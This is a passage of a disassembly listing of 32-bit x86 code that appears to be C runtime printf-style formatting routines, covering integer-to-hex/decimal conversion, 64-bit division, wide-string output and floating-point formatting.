jmp short loc_40AE85 ; --------------------------------------------------------------------------- loc_40AE80: ; CODE XREF: sub_40AE10+5Aj or eax, 0FFFFFFFFh jmp short loc_40AEE6 ; --------------------------------------------------------------------------- loc_40AE85: ; CODE XREF: sub_40AE10+45j ; sub_40AE10+6Ej mov eax, ebx shl eax, 2 mov edx, [ebp+var_8] mov ecx, [edx+34h] mov ecx, [ecx+eax] mov [ebp+var_4], ecx mov edx, [edx+34h] mov ecx, [ebp+arg_4] mov [edx+eax], ecx mov eax, [ebp+var_4] jmp short loc_40AEE6 ; --------------------------------------------------------------------------- loc_40AEA4: ; CODE XREF: sub_40AE10+33j cmp ebx, 2 jnz short loc_40AED2 cmp dword_41189C, 0 jnz short loc_40AED2 push 1 push offset sub_40ADD0 call dword_411E10 test eax, eax jnz short loc_40AEC8 or eax, 0FFFFFFFFh jmp short loc_40AEE6 ; --------------------------------------------------------------------------- loc_40AEC8: ; CODE XREF: sub_40AE10+B1j mov dword_41189C, 1 loc_40AED2: ; CODE XREF: sub_40AE10+97j ; sub_40AE10+A0j lea eax, ds:4117E4h[ebx*4] mov edx, [eax] mov [ebp+var_4], edx mov edx, [ebp+arg_4] mov [eax], edx mov eax, [ebp+var_4] loc_40AEE6: ; CODE XREF: sub_40AE10+21j ; sub_40AE10+73j ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_40AE10 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_40AEF0 proc near ; CODE XREF: sub_407B60+2Bp arg_0 = dword ptr 4 mov eax, [esp+arg_0] retn sub_40AEF0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_40AF00 proc near ; CODE XREF: DMN0:0040934Cp ; sub_40B0C0+F3p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx push esi mov eax, [esp+8+arg_4] or eax, eax jnz short loc_40AF22 mov ecx, [esp+8+arg_0] mov eax, [esp+8+arg_C] xor edx, edx div ecx mov ebx, eax mov eax, [esp+8+arg_8] div ecx mov edx, ebx jmp short loc_40AF63 ; --------------------------------------------------------------------------- loc_40AF22: ; CODE XREF: sub_40AF00+8j mov ecx, eax mov ebx, [esp+8+arg_0] mov edx, [esp+8+arg_C] mov eax, [esp+8+arg_8] loc_40AF30: ; CODE XREF: sub_40AF00+3Aj shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_40AF30 div ebx mov esi, eax mul [esp+8+arg_4] mov ecx, eax mov eax, [esp+8+arg_0] mul esi add edx, ecx jb short loc_40AF5E cmp edx, [esp+8+arg_C] ja short loc_40AF5E jb short loc_40AF5F cmp eax, [esp+8+arg_8] jbe short loc_40AF5F loc_40AF5E: ; CODE XREF: sub_40AF00+4Ej ; sub_40AF00+54j dec esi loc_40AF5F: ; CODE XREF: sub_40AF00+56j ; sub_40AF00+5Cj xor edx, edx mov eax, esi loc_40AF63: ; CODE XREF: sub_40AF00+20j pop esi pop ebx retn 10h sub_40AF00 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AF70 proc near ; CODE XREF: sub_409CF0+B3p ; sub_409CF0+6E1p var_64 = dword ptr -64h var_60 = byte ptr -60h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = byte ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 64h push ebx push esi push edi mov ebx, [ebp+arg_0] mov esi, [ebp+arg_4] cmp dword ptr [ebx+2Ch], 0 jge short loc_40AF8E mov [ebp+var_64], 7FFFFFFFh jmp short loc_40AF94 ; --------------------------------------------------------------------------- loc_40AF8E: ; CODE XREF: sub_40AF70+13j mov eax, [ebx+2Ch] mov [ebp+var_64], eax loc_40AF94: ; CODE XREF: sub_40AF70+1Cj mov eax, [ebp+var_64] mov [ebp+var_4], eax movzx eax, byte_4118A0 mov edx, [ebx+34h] add eax, edx mov [ebp+var_14], eax mov [ebp+var_1C], 0 mov [ebp+var_18], 0 test word ptr [ebx+38h], 4 jnz short loc_40AFC5 cmp [ebp+var_14], 40h ja short loc_40AFD4 loc_40AFC5: ; CODE XREF: sub_40AF70+4Dj lea eax, [ebp+var_60] mov [ebp+var_10], eax mov [ebp+var_14], 40h jmp short loc_40AFED ; --------------------------------------------------------------------------- loc_40AFD4: ; CODE XREF: sub_40AF70+53j mov eax, [ebp+var_14] push eax call sub_408260 pop ecx mov [ebp+var_10], eax test eax, eax jnz short loc_40AFED or eax, 0FFFFFFFFh jmp loc_40B0B5 ; --------------------------------------------------------------------------- loc_40AFED: ; CODE XREF: sub_40AF70+62j ; sub_40AF70+73j test esi, esi jnz short loc_40AFF6 mov esi, offset aNull ; "(null)" loc_40AFF6: ; CODE XREF: sub_40AF70+7Fj mov [ebp+var_20], 0 jmp short loc_40B07B ; --------------------------------------------------------------------------- loc_40AFFF: ; CODE XREF: sub_40AF70+10Fj lea eax, [ebp+var_1C] push eax movzx eax, word ptr [esi] push eax lea eax, [ebp+var_C] push eax call sub_40BFA0 add esp, 0Ch mov edi, eax test eax, eax jl short loc_40B026 cmp word ptr [esi], 0 jnz short loc_40B02C dec edi mov eax, edi test eax, eax jge short loc_40B02C loc_40B026: ; CODE XREF: sub_40AF70+A7j or [ebp+var_20], 0FFFFFFFFh jmp short loc_40B085 ; --------------------------------------------------------------------------- loc_40B02C: ; CODE XREF: sub_40AF70+ADj ; sub_40AF70+B4j cmp [ebp+var_4], edi jl short loc_40B085 mov eax, [ebx+14h] add eax, edi cmp [ebp+var_14], eax jnb short loc_40B056 mov dword ptr [ebx+34h], 0 mov eax, [ebp+var_10] push eax push ebx call sub_40A430 add esp, 8 mov dword ptr [ebx+14h], 0 loc_40B056: ; CODE XREF: sub_40AF70+C9j push edi lea eax, [ebp+var_C] push eax mov eax, [ebx+14h] mov edx, [ebp+var_10] add eax, edx push eax call sub_4076F0 add esp, 0Ch add [ebx+14h], edi cmp word ptr [esi], 0 jz short loc_40B085 add esi, 2 sub [ebp+var_4], edi loc_40B07B: ; CODE XREF: sub_40AF70+8Dj cmp [ebp+var_4], 0 jg loc_40AFFF loc_40B085: ; CODE XREF: sub_40AF70+BAj ; sub_40AF70+BFj ... mov eax, [ebp+var_10] push eax push ebx call sub_40A430 add esp, 8 mov dword ptr [ebx+34h], 0 mov dword ptr [ebx+14h], 0 lea eax, [ebp+var_60] cmp eax, [ebp+var_10] jz short loc_40B0B2 mov eax, [ebp+var_10] push eax call sub_4071B0 pop ecx loc_40B0B2: ; CODE XREF: sub_40AF70+136j mov eax, [ebp+var_20] loc_40B0B5: ; CODE XREF: sub_40AF70+78j pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_40AF70 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B0C0 proc near ; CODE XREF: sub_409CF0+256p ; sub_409CF0+3CAp ... var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_24 = dword ptr -24h var_20 = byte ptr -20h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp sub esp, 4Ch push ebx push esi push edi cmp [ebp+arg_4], 58h jnz short loc_40B0D8 mov [ebp+var_34], offset a0123456789abcd ; "0123456789ABCDEF" jmp short loc_40B0DF ; --------------------------------------------------------------------------- loc_40B0D8: ; CODE XREF: sub_40B0C0+Dj mov [ebp+var_34], offset a0123456789ab_0 ; "0123456789abcdef" loc_40B0DF: ; CODE XREF: sub_40B0C0+16j mov eax, [ebp+var_34] mov [ebp+var_24], eax cmp [ebp+arg_4], 6Fh jnz short loc_40B0F4 mov [ebp+var_38], 8 jmp short loc_40B10F ; --------------------------------------------------------------------------- loc_40B0F4: ; CODE XREF: sub_40B0C0+29j mov al, [ebp+arg_4] cmp al, 78h jz short loc_40B108 cmp al, 58h jz short loc_40B108 mov [ebp+var_38], 0Ah jmp short loc_40B10F ; --------------------------------------------------------------------------- loc_40B108: ; CODE XREF: sub_40B0C0+39j ; sub_40B0C0+3Dj mov [ebp+var_38], 10h loc_40B10F: ; CODE XREF: sub_40B0C0+32j ; sub_40B0C0+46j mov eax, [ebp+var_38] mov [ebp+var_8], eax mov [ebp+var_4], 18h mov eax, [ebp+arg_0] mov edx, [eax+4] mov eax, [eax] mov [ebp+var_30], eax mov [ebp+var_2C], edx mov al, [ebp+arg_4] cmp al, 64h jz short loc_40B135 cmp al, 69h jnz short loc_40B15A loc_40B135: ; CODE XREF: sub_40B0C0+6Fj mov eax, [ebp+arg_0] mov edx, [eax+4] mov eax, [eax] test edx, edx jg short loc_40B15A jl short loc_40B147 test eax, eax jnb short loc_40B15A loc_40B147: ; CODE XREF: sub_40B0C0+81j mov eax, [ebp+var_30] mov edx, [ebp+var_2C] neg eax adc edx, 0 neg edx mov [ebp+var_30], eax mov [ebp+var_2C], edx loc_40B15A: ; CODE XREF: sub_40B0C0+73j ; sub_40B0C0+7Fj ... mov eax, [ebp+var_30] mov edx, [ebp+var_2C] test edx, edx jnz short loc_40B171 test eax, eax jnz short loc_40B171 mov eax, [ebp+arg_0] cmp dword ptr [eax+2Ch], 0 jz short loc_40B1A1 loc_40B171: ; CODE XREF: sub_40B0C0+A2j ; sub_40B0C0+A6j mov eax, [ebp+var_4] dec eax mov [ebp+var_3C], eax mov [ebp+var_4], eax mov ecx, [ebp+var_30] mov ebx, [ebp+var_2C] mov edx, [ebp+var_8] mov esi, edx mov edi, esi sar edi, 1Fh push ebx push ecx push edi push esi call sub_40C1F0 mov edx, [ebp+var_24] mov al, [edx+eax] mov edx, [ebp+var_3C] mov [ebp+edx+var_20], al loc_40B1A1: ; CODE XREF: sub_40B0C0+AFj mov eax, [ebp+var_30] mov edx, [ebp+var_2C] mov ecx, [ebp+var_8] mov ebx, ecx sar ebx, 1Fh push edx push eax push ebx push ecx call sub_40AF00 mov ecx, [ebp+arg_0] mov [ecx], eax mov [ecx+4], edx jmp short loc_40B232 ; --------------------------------------------------------------------------- loc_40B1C2: ; CODE XREF: sub_40B0C0+188j mov eax, [ebp+arg_0] mov edx, [eax+4] mov eax, [eax] mov ecx, [ebp+var_8] mov ebx, ecx sar ebx, 1Fh push edx push eax push ebx push ecx call sub_40C270 mov [ebp+var_48], eax mov [ebp+var_44], edx mov eax, [ebp+var_4] dec eax mov [ebp+var_4C], eax mov [ebp+var_4], eax mov edx, [ebp+var_8] mov ecx, edx mov ebx, ecx sar ebx, 1Fh mov esi, [ebp+var_48] mov edi, [ebp+var_44] push ebx push ecx push edi push esi call sub_40C320 neg eax adc edx, 0 neg edx mov ecx, [ebp+arg_0] mov ebx, [ecx+4] mov ecx, [ecx] add eax, ecx adc edx, ebx mov edx, [ebp+var_24] mov al, [edx+eax] mov edx, [ebp+var_4C] mov [ebp+edx+var_20], al mov eax, [ebp+arg_0] mov ecx, [ebp+var_48] mov ebx, [ebp+var_44] mov [eax], ecx mov [eax+4], ebx loc_40B232: ; CODE XREF: sub_40B0C0+100j mov eax, [ebp+arg_0] mov edx, [eax+4] mov eax, [eax] test edx, edx jl short loc_40B24E jg short loc_40B244 test eax, eax jbe short loc_40B24E loc_40B244: ; CODE XREF: sub_40B0C0+17Ej cmp [ebp+var_4], 0 jg loc_40B1C2 loc_40B24E: ; CODE XREF: sub_40B0C0+17Cj ; sub_40B0C0+182j cmp [ebp+var_8], 8 jnz short loc_40B27A mov eax, [ebp+arg_0] test word ptr [eax+38h], 8 jz short loc_40B27A mov eax, [ebp+var_4] cmp eax, 18h jnb short loc_40B27A cmp [ebp+eax+var_20], 30h jz short loc_40B27A mov eax, [ebp+var_4] dec eax mov [ebp+var_4], eax mov [ebp+eax+var_20], 30h loc_40B27A: ; CODE XREF: sub_40B0C0+192j ; sub_40B0C0+19Dj ... mov edx, [ebp+arg_0] mov eax, 18h mov ecx, [ebp+var_4] sub eax, ecx mov [edx+1Ch], eax mov eax, [ebp+arg_0] mov edx, [eax+1Ch] push edx mov edx, [ebp+var_4] lea edx, [ebp+edx+var_20] push edx mov eax, [eax+10h] push eax call sub_4076F0 add esp, 0Ch mov eax, [ebp+arg_0] mov edx, [eax+2Ch] cmp [eax+1Ch], edx jge short loc_40B2C6 mov eax, [ebp+arg_0] mov edx, [eax+2Ch] sub edx, [eax+1Ch] mov [eax+18h], edx mov eax, [ebp+arg_0] and word ptr [eax+38h], 0FFEFh jmp short loc_40B2F7 ; --------------------------------------------------------------------------- loc_40B2C6: ; CODE XREF: sub_40B0C0+1EEj mov eax, [ebp+arg_0] cmp dword ptr [eax+2Ch], 0 jge short loc_40B2F7 movzx edx, word ptr [eax+38h] and edx, 14h cmp edx, 10h jnz short loc_40B2F7 mov edx, [eax+34h] sub edx, [eax+14h] sub edx, [eax+18h] sub edx, [eax+1Ch] mov [ebp+var_4], edx test edx, edx jle short loc_40B2F7 mov edx, [ebp+arg_0] mov eax, [ebp+var_4] mov [edx+18h], eax loc_40B2F7: ; CODE XREF: sub_40B0C0+204j ; sub_40B0C0+20Dj ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_40B0C0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_40B300 proc near ; CODE XREF: sub_409CF0+40Bp arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_40C360 pop ecx movsx eax, ax retn sub_40B300 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B310 proc near ; CODE XREF: sub_409CF0+48Cp var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = qword ptr -58h var_50 = qword ptr -50h var_48 = dword ptr -48h var_44 = dword ptr -44h var_3E = byte ptr -3Eh var_3D = byte ptr -3Dh var_16 = word ptr -16h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = qword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp sub esp, 64h lea eax, [ebp+var_3E] mov [ebp+var_4], eax mov eax, [ebp+arg_0] fld qword ptr [eax] fstp [ebp+var_10] mov al, [ebp+arg_4] cmp al, 61h jz short loc_40B32F cmp al, 41h jnz short loc_40B331 loc_40B32F: ; CODE XREF: sub_40B310+19j jmp short loc_40B364 ; --------------------------------------------------------------------------- loc_40B331: ; CODE XREF: sub_40B310+1Dj mov eax, [ebp+arg_0] cmp dword ptr [eax+2Ch], 0 jge short loc_40B346 mov edx, [ebp+arg_0] mov dword ptr [edx+2Ch], 6 jmp short loc_40B364 ; --------------------------------------------------------------------------- loc_40B346: ; CODE XREF: sub_40B310+28j mov eax, [ebp+arg_0] cmp dword ptr [eax+2Ch], 0 jnz short loc_40B364 mov al, [ebp+arg_4] cmp al, 67h jz short loc_40B35A cmp al, 47h jnz short loc_40B364 loc_40B35A: ; CODE XREF: sub_40B310+44j mov edx, [ebp+arg_0] mov dword ptr [edx+2Ch], 1 loc_40B364: ; CODE XREF: sub_40B310:loc_40B32Fj ; sub_40B310+34j ... mov eax, [ebp+arg_0] push eax lea eax, [ebp+var_14] push eax call sub_40C3D0 add esp, 8 mov [ebp+var_16], ax cmp ax, 2 jnz short loc_40B3C9 mov edx, [ebp+arg_0] mov dword ptr [edx+1Ch], 3 mov eax, 3 push eax mov al, [ebp+arg_4] cmp al, 61h jz short loc_40B3A1 cmp al, 65h jz short loc_40B3A1 cmp al, 66h jz short loc_40B3A1 cmp al, 67h jnz short loc_40B3AA loc_40B3A1: ; CODE XREF: sub_40B310+83j ; sub_40B310+87j ... mov [ebp+var_44], offset word_410122 jmp short loc_40B3B1 ; --------------------------------------------------------------------------- loc_40B3AA: ; CODE XREF: sub_40B310+8Fj mov [ebp+var_44], offset word_41011E loc_40B3B1: ; CODE XREF: sub_40B310+98j mov eax, [ebp+var_44] push eax mov eax, [ebp+arg_0] mov eax, [eax+10h] push eax call sub_4076F0 add esp, 0Ch jmp loc_40B964 ; --------------------------------------------------------------------------- loc_40B3C9: ; CODE XREF: sub_40B310+6Cj cmp [ebp+var_16], 0 jle short loc_40B41B mov edx, [ebp+arg_0] mov dword ptr [edx+1Ch], 3 mov eax, 3 push eax mov al, [ebp+arg_4] cmp al, 61h jz short loc_40B3F3 cmp al, 65h jz short loc_40B3F3 cmp al, 66h jz short loc_40B3F3 cmp al, 67h jnz short loc_40B3FC loc_40B3F3: ; CODE XREF: sub_40B310+D5j ; sub_40B310+D9j ... mov [ebp+var_44], offset word_41011A jmp short loc_40B403 ; --------------------------------------------------------------------------- loc_40B3FC: ; CODE XREF: sub_40B310+E1j mov [ebp+var_44], offset off_410116 loc_40B403: ; CODE XREF: sub_40B310+EAj mov eax, [ebp+var_44] push eax mov eax, [ebp+arg_0] mov eax, [eax+10h] push eax call sub_4076F0 add esp, 0Ch jmp loc_40B964 ; --------------------------------------------------------------------------- loc_40B41B: ; CODE XREF: sub_40B310+BEj mov al, [ebp+arg_4] cmp al, 61h jz short loc_40B426 cmp al, 41h jnz short loc_40B45E loc_40B426: ; CODE XREF: sub_40B310+110j mov eax, [ebp+arg_0] mov edx, [eax+10h] add eax, 10h lea ecx, [edx+1] mov [eax], ecx mov byte ptr [edx], 30h mov eax, [ebp+arg_0] mov edx, [eax+10h] add eax, 10h lea ecx, [edx+1] mov [eax], ecx xor eax, eax cmp [ebp+arg_4], 61h setnz al dec eax and eax, 20h add eax, 58h mov [edx], al mov eax, [ebp+arg_0] add dword ptr [eax+14h], 2 loc_40B45E: ; CODE XREF: sub_40B310+114j cmp [ebp+var_16], 0 jnz short loc_40B476 mov [ebp+var_12], 0 mov [ebp+var_14], 0 jmp loc_40B945 ; --------------------------------------------------------------------------- loc_40B476: ; CODE XREF: sub_40B310+153j mov al, [ebp+arg_4] cmp al, 61h jz short loc_40B485 cmp al, 41h jnz loc_40B68B loc_40B485: ; CODE XREF: sub_40B310+16Bj cmp [ebp+arg_4], 61h jnz short loc_40B494 mov dword ptr [ebp+var_50+4], offset a0123456789ab_1 ; "0123456789abcdef" jmp short loc_40B49B ; --------------------------------------------------------------------------- loc_40B494: ; CODE XREF: sub_40B310+179j mov dword ptr [ebp+var_50+4], offset a0123456789ab_2 ; "0123456789ABCDEF" loc_40B49B: ; CODE XREF: sub_40B310+182j mov eax, dword ptr [ebp+var_50+4] mov [ebp+var_48], eax mov eax, [ebp+arg_0] cmp dword ptr [eax+2Ch], 0 jge short loc_40B4B3 mov dword ptr [ebp+var_50], 21h jmp short loc_40B4BD ; --------------------------------------------------------------------------- loc_40B4B3: ; CODE XREF: sub_40B310+198j mov eax, [ebp+arg_0] mov eax, [eax+2Ch] inc eax mov dword ptr [ebp+var_50], eax loc_40B4BD: ; CODE XREF: sub_40B310+1A1j mov eax, dword ptr [ebp+var_50] mov [ebp+var_12], ax movsx eax, [ebp+var_12] inc eax mov [ebp+var_44], eax fld dbl_4100EC fcomp [ebp+var_10] fnstsw ax sahf jbe short loc_40B4E6 mov eax, [ebp+arg_0] fld qword ptr [eax] fchs fstp [ebp+var_58] jmp short loc_40B4EE ; --------------------------------------------------------------------------- loc_40B4E6: ; CODE XREF: sub_40B310+1C8j mov eax, [ebp+arg_0] fld qword ptr [eax] fstp [ebp+var_58] loc_40B4EE: ; CODE XREF: sub_40B310+1D4j fld [ebp+var_58] fstp [ebp+var_10] sub [ebp+var_14], 4 mov eax, [ebp+var_4] lea edx, [eax+1] mov [ebp+var_4], edx mov byte ptr [eax], 0 jmp loc_40B591 ; --------------------------------------------------------------------------- loc_40B50A: ; CODE XREF: sub_40B310+293j push 1Ch lea eax, [ebp+var_10] push eax call sub_40C3F0 add esp, 8 fld [ebp+var_10] call sub_40C410 mov [ebp+var_5C], eax mov eax, [ebp+var_44] sub eax, 7 mov [ebp+var_44], eax test eax, eax jle short loc_40B53B fld [ebp+var_10] fild [ebp+var_5C] fsubp st(1), st fstp [ebp+var_10] loc_40B53B: ; CODE XREF: sub_40B310+21Ej mov eax, [ebp+var_4] add eax, 7 mov [ebp+var_4], eax mov [ebp+var_60], 7 jmp short loc_40B560 ; --------------------------------------------------------------------------- loc_40B54D: ; CODE XREF: sub_40B310+25Fj mov eax, [ebp+var_4] dec eax mov [ebp+var_4], eax mov edx, [ebp+var_5C] and edx, 0Fh mov [eax], dl sar [ebp+var_5C], 4 loc_40B560: ; CODE XREF: sub_40B310+23Bj cmp [ebp+var_5C], 0 jle short loc_40B571 mov eax, [ebp+var_60] dec eax mov [ebp+var_60], eax test eax, eax jge short loc_40B54D loc_40B571: ; CODE XREF: sub_40B310+254j jmp short loc_40B57D ; --------------------------------------------------------------------------- loc_40B573: ; CODE XREF: sub_40B310+276j mov eax, [ebp+var_4] dec eax mov [ebp+var_4], eax mov byte ptr [eax], 0 loc_40B57D: ; CODE XREF: sub_40B310:loc_40B571j mov eax, [ebp+var_60] dec eax mov [ebp+var_60], eax test eax, eax jge short loc_40B573 mov eax, [ebp+var_4] add eax, 7 mov [ebp+var_4], eax loc_40B591: ; CODE XREF: sub_40B310+1F5j cmp [ebp+var_44], 0 jle short loc_40B5A9 fld [ebp+var_10] fcomp dbl_4100EC fnstsw ax sahf ja loc_40B50A loc_40B5A9: ; CODE XREF: sub_40B310+285j mov eax, [ebp+var_4] lea edx, [ebp+var_3D] sub eax, edx mov [ebp+var_44], eax lea eax, [ebp+var_3D] mov [ebp+var_4], eax movsx eax, [ebp+var_12] cmp [ebp+var_44], eax jge short loc_40B5CA mov eax, [ebp+var_44] mov [ebp+var_12], ax loc_40B5CA: ; CODE XREF: sub_40B310+2B1j cmp [ebp+var_12], 0 jl loc_40B66E mov ax, [ebp+var_12] movsx edx, ax cmp edx, [ebp+var_44] jge short loc_40B5F6 movsx eax, ax mov edx, [ebp+var_4] cmp byte ptr [edx+eax], 8 jb short loc_40B5F6 mov [ebp+var_64], 0Fh jmp short loc_40B5FD ; --------------------------------------------------------------------------- loc_40B5F6: ; CODE XREF: sub_40B310+2CFj ; sub_40B310+2DBj mov [ebp+var_64], 0 loc_40B5FD: ; CODE XREF: sub_40B310+2E4j mov eax, [ebp+var_64] mov byte ptr [ebp+var_60+3], al movsx eax, [ebp+var_12] mov [ebp+var_5C], eax jmp short loc_40B611 ; --------------------------------------------------------------------------- loc_40B60C: ; CODE XREF: sub_40B310+311j sub [ebp+var_12], 1 loc_40B611: ; CODE XREF: sub_40B310+2FAj mov eax, [ebp+var_5C] dec eax mov [ebp+var_5C], eax mov edx, [ebp+var_4] mov cl, byte ptr [ebp+var_60+3] cmp [edx+eax], cl jz short loc_40B60C cmp byte ptr [ebp+var_60+3], 0Fh jnz short loc_40B634 mov eax, [ebp+var_5C] mov edx, [ebp+var_4] add eax, edx add byte ptr [eax], 1 loc_40B634: ; CODE XREF: sub_40B310+317j cmp [ebp+var_5C], 0 jge short loc_40B647 dec [ebp+var_4] add [ebp+var_12], 1 add [ebp+var_14], 4 loc_40B647: ; CODE XREF: sub_40B310+328j movsx eax, [ebp+var_12] mov [ebp+var_5C], eax jmp short loc_40B663 ; --------------------------------------------------------------------------- loc_40B650: ; CODE XREF: sub_40B310+35Cj mov eax, [ebp+var_5C] mov edx, [ebp+var_4] add eax, edx movzx edx, byte ptr [eax] mov ecx, [ebp+var_48] mov dl, [ecx+edx] mov [eax], dl loc_40B663: ; CODE XREF: sub_40B310+33Ej mov eax, [ebp+var_5C] dec eax mov [ebp+var_5C], eax test eax, eax jge short loc_40B650 loc_40B66E: ; CODE XREF: sub_40B310+2BFj mov eax, [ebp+arg_0] cmp dword ptr [eax+2Ch], 0 jge loc_40B945 mov edx, [ebp+arg_0] movsx eax, [ebp+var_12] dec eax mov [edx+2Ch], eax jmp loc_40B945 ; --------------------------------------------------------------------------- loc_40B68B: ; CODE XREF: sub_40B310+16Fj fld dbl_4100EC fcomp [ebp+var_10] fnstsw ax sahf jbe short loc_40B6A1 fld [ebp+var_10] fchs fstp [ebp+var_10] loc_40B6A1: ; CODE XREF: sub_40B310+387j movsx eax, [ebp+var_14] imul eax, 7597h push eax mov edx, 14F8B589h imul edx pop eax shr eax, 1Fh sar edx, 0Dh add eax, edx sub eax, 4 mov [ebp+var_14], ax test ax, ax jge short loc_40B70C mov eax, 3 movsx edx, [ebp+var_14] sub eax, edx and eax, 0FFFFFFFCh mov [ebp+var_44], eax neg eax mov [ebp+var_14], ax mov [ebp+var_48], 0 jmp short loc_40B704 ; --------------------------------------------------------------------------- loc_40B6E8: ; CODE XREF: sub_40B310+3F8j test byte ptr [ebp+var_44], 1 jz short loc_40B6FE fld [ebp+var_10] mov eax, [ebp+var_48] fmul dbl_410094[eax*8] fstp [ebp+var_10] loc_40B6FE: ; CODE XREF: sub_40B310+3DCj sar [ebp+var_44], 1 inc [ebp+var_48] loc_40B704: ; CODE XREF: sub_40B310+3D6j cmp [ebp+var_44], 0 jg short loc_40B6E8 jmp short loc_40B75C ; --------------------------------------------------------------------------- loc_40B70C: ; CODE XREF: sub_40B310+3B6j cmp [ebp+var_14], 0 jle short loc_40B75C fld dbl_4100E4 fstp [ebp+var_50] and [ebp+var_14], 0FFFCh movsx eax, [ebp+var_14] mov [ebp+var_44], eax mov [ebp+var_48], 0 jmp short loc_40B74D ; --------------------------------------------------------------------------- loc_40B731: ; CODE XREF: sub_40B310+441j test byte ptr [ebp+var_44], 1 jz short loc_40B747 fld [ebp+var_50] mov eax, [ebp+var_48] fmul dbl_410094[eax*8] fstp [ebp+var_50] loc_40B747: ; CODE XREF: sub_40B310+425j sar [ebp+var_44], 1 inc [ebp+var_48] loc_40B74D: ; CODE XREF: sub_40B310+41Fj cmp [ebp+var_44], 0 jg short loc_40B731 fld [ebp+var_10] fdiv [ebp+var_50] fstp [ebp+var_10] loc_40B75C: ; CODE XREF: sub_40B310+3FAj ; sub_40B310+401j mov al, [ebp+arg_4] cmp al, 66h jz short loc_40B767 cmp al, 46h jnz short loc_40B773 loc_40B767: ; CODE XREF: sub_40B310+451j movsx eax, [ebp+var_14] add eax, 0Ah mov [ebp+var_48], eax jmp short loc_40B77A ; --------------------------------------------------------------------------- loc_40B773: ; CODE XREF: sub_40B310+455j mov [ebp+var_48], 6 loc_40B77A: ; CODE XREF: sub_40B310+461j mov eax, [ebp+var_48] mov edx, [ebp+arg_0] mov edx, [edx+2Ch] add eax, edx mov [ebp+var_44], eax cmp eax, 13h jle short loc_40B794 mov [ebp+var_44], 13h loc_40B794: ; CODE XREF: sub_40B310+47Bj mov eax, [ebp+var_4] lea edx, [eax+1] mov [ebp+var_4], edx mov byte ptr [eax], 30h jmp loc_40B83A ; --------------------------------------------------------------------------- loc_40B7A5: ; CODE XREF: sub_40B310+53Cj fld [ebp+var_10] call sub_40C410 mov dword ptr [ebp+var_50+4], eax mov eax, [ebp+var_44] sub eax, 8 mov [ebp+var_44], eax test eax, eax jle short loc_40B7CE fld [ebp+var_10] fild dword ptr [ebp+var_50+4] fsubp st(1), st fmul dbl_4100DC fstp [ebp+var_10] loc_40B7CE: ; CODE XREF: sub_40B310+4ABj mov eax, [ebp+var_4] add eax, 8 mov [ebp+var_4], eax mov dword ptr [ebp+var_50], 8 jmp short loc_40B809 ; --------------------------------------------------------------------------- loc_40B7E0: ; CODE XREF: sub_40B310+508j push 0Ah mov eax, dword ptr [ebp+var_50+4] push eax call sub_40C440 add esp, 8 mov dword ptr [ebp+var_58], eax mov dword ptr [ebp+var_58+4], edx mov eax, [ebp+var_4] dec eax mov [ebp+var_4], eax mov edx, dword ptr [ebp+var_58+4] add edx, 30h mov [eax], dl mov eax, dword ptr [ebp+var_58] mov dword ptr [ebp+var_50+4], eax loc_40B809: ; CODE XREF: sub_40B310+4CEj cmp dword ptr [ebp+var_50+4], 0 jle short loc_40B81A mov eax, dword ptr [ebp+var_50] dec eax mov dword ptr [ebp+var_50], eax test eax, eax jge short loc_40B7E0 loc_40B81A: ; CODE XREF: sub_40B310+4FDj jmp short loc_40B826 ; --------------------------------------------------------------------------- loc_40B81C: ; CODE XREF: sub_40B310+51Fj mov eax, [ebp+var_4] dec eax mov [ebp+var_4], eax mov byte ptr [eax], 30h loc_40B826: ; CODE XREF: sub_40B310:loc_40B81Aj mov eax, dword ptr [ebp+var_50] dec eax mov dword ptr [ebp+var_50], eax test eax, eax jge short loc_40B81C mov eax, [ebp+var_4] add eax, 8 mov [ebp+var_4], eax loc_40B83A: ; CODE XREF: sub_40B310+490j cmp [ebp+var_44], 0 jle short loc_40B852 fld dbl_4100EC fcomp [ebp+var_10] fnstsw ax sahf jb loc_40B7A5 loc_40B852: ; CODE XREF: sub_40B310+52Ej mov eax, [ebp+var_4] lea edx, [ebp+var_3D] sub eax, edx mov [ebp+var_44], eax lea eax, [ebp+var_3D] mov [ebp+var_4], eax add [ebp+var_14], 7 jmp short loc_40B875 ; --------------------------------------------------------------------------- loc_40B86A: ; CODE XREF: sub_40B310+56Bj dec [ebp+var_44] sub [ebp+var_14], 1 inc [ebp+var_4] loc_40B875: ; CODE XREF: sub_40B310+558j mov eax, [ebp+var_4] cmp byte ptr [eax], 30h jz short loc_40B86A mov al, [ebp+arg_4] cmp al, 66h jz short loc_40B888 cmp al, 46h jnz short loc_40B892 loc_40B888: ; CODE XREF: sub_40B310+572j movsx eax, [ebp+var_14] inc eax mov dword ptr [ebp+var_50+4], eax jmp short loc_40B8AD ; 